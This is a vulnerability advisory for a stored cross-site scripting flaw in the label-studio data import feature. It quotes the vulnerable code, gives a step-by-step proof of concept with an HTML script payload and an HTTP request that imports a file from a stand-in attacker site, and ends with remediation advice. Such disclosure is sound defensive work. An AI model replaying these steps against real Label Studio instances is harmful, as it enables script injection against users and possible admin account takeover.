CVE-2024-23633 – label-studio

Package

Manager: pip
Name: label-studio
Vulnerable Version: >=0 <1.10.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00111 pctl0.30174

Details

Cross-site Scripting Vulnerability on Data Import # Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`. # Overview [Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. # Description The following [code snippet in Label Studio](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146) showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL. ```python def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] <1> response = ssrf_safe_get( url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None} ) file_content = response.content check_tasks_max_file_size(int(response.headers['content-length'])) file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content)) if file_upload.format_could_be_tasks_list: could_be_tasks_list = True file_upload_ids.append(file_upload.id) tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids) except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list ``` 1. The file name that was set was retrieved from the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the [following code snippet](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62) demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. ```python class UploadedFileResponse(generics.RetrieveAPIView): permission_classes = (IsAuthenticated,) @swagger_auto_schema(auto_schema=None) def get(self, *args, **kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') file_upload = FileUpload.objects.filter(file=file).last() if not file_upload.has_permission(request.user): return Response(status=status.HTTP_403_FORBIDDEN) file = file_upload.file if file.storage.exists(file.name): content_type, encoding = mimetypes.guess_type(str(file.name)) <1> content_type = content_type or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type) else: return Response(status=status.HTTP_404_NOT_FOUND) ``` 1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited. # Proof of Concept Below were the steps to recreate this issue: 1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website. ```html <html> <body> <h1>Data Import XSS</h1> <script> alert(document.domain); </script> </body> </html> ``` 2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example). ```http POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1 Host: {victim_host} Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache url=https://{evil_site}/xss.html ``` 3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step. 4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`.  # Impact Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. # Remediation Advice * For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy ([documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)). * Restrict the allowed file extensions that could be downloaded. # Discovered - August 2023, Alex Brown, elttam

Metadata

Created: 2024-01-24T14:21:47Z
Modified: 2024-11-22T18:20:58Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-fq23-g58m-799r/GHSA-fq23-g58m-799r.json
CWE IDs: ["CWE-79"]
Alternative ID: GHSA-fq23-g58m-799r
Finding: F425
Auto approve: 1